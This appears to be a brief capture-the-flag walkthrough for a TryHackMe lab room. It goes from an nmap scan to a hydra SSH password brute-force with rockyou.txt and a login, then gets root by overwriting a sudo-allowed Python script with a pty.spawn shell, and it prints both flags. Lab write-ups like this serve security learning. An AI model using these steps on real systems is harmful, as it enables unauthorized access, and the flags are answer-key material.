Room Link : https://tryhackme.com/r/room/bsidesgtlibrary STEP1 nmap -p- -Pn -A -T4 -sSV 10.10.176.65 FINDING 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) STEP2 http://10.10.176.65/robots.txt FINDING User-agent: rockyou Disallow: / STEP3 http://10.10.176.65/ FINDING Posted on June 29th 2009 by meliodas - 3 comments STEP4 we might got the ssh user meliodas and password migh be in rockyou.txt hydra -l meliodas -P /usr/share/wordlists/rockyou.txt 10.10.176.65 ssh FINDING [22][ssh] host: 10.10.176.65 login: meliodas password: iloveyou1 ssh user : meliodas pwd : iloveyou1 STEP5 ssh [email protected] -p 22 with password iloveyou1 FINDING ls -la cat user.txt 6d488cbb3f111d135722c33cb635f4ec STEP6 sudo -l FINDING (ALL) NOPASSWD: /usr/bin/python* /home/meliodas/bak.py STEP7 rm /home/meliodas/bak.py yes echo import pty; pty.spawn("/bin/sh") /home/meliodas/bak.py sudo /usr/bin/python /home/meliodas/bak.py whoami root cd /root cat root.txt e8c8c6c256c35515d1d344ee0488c617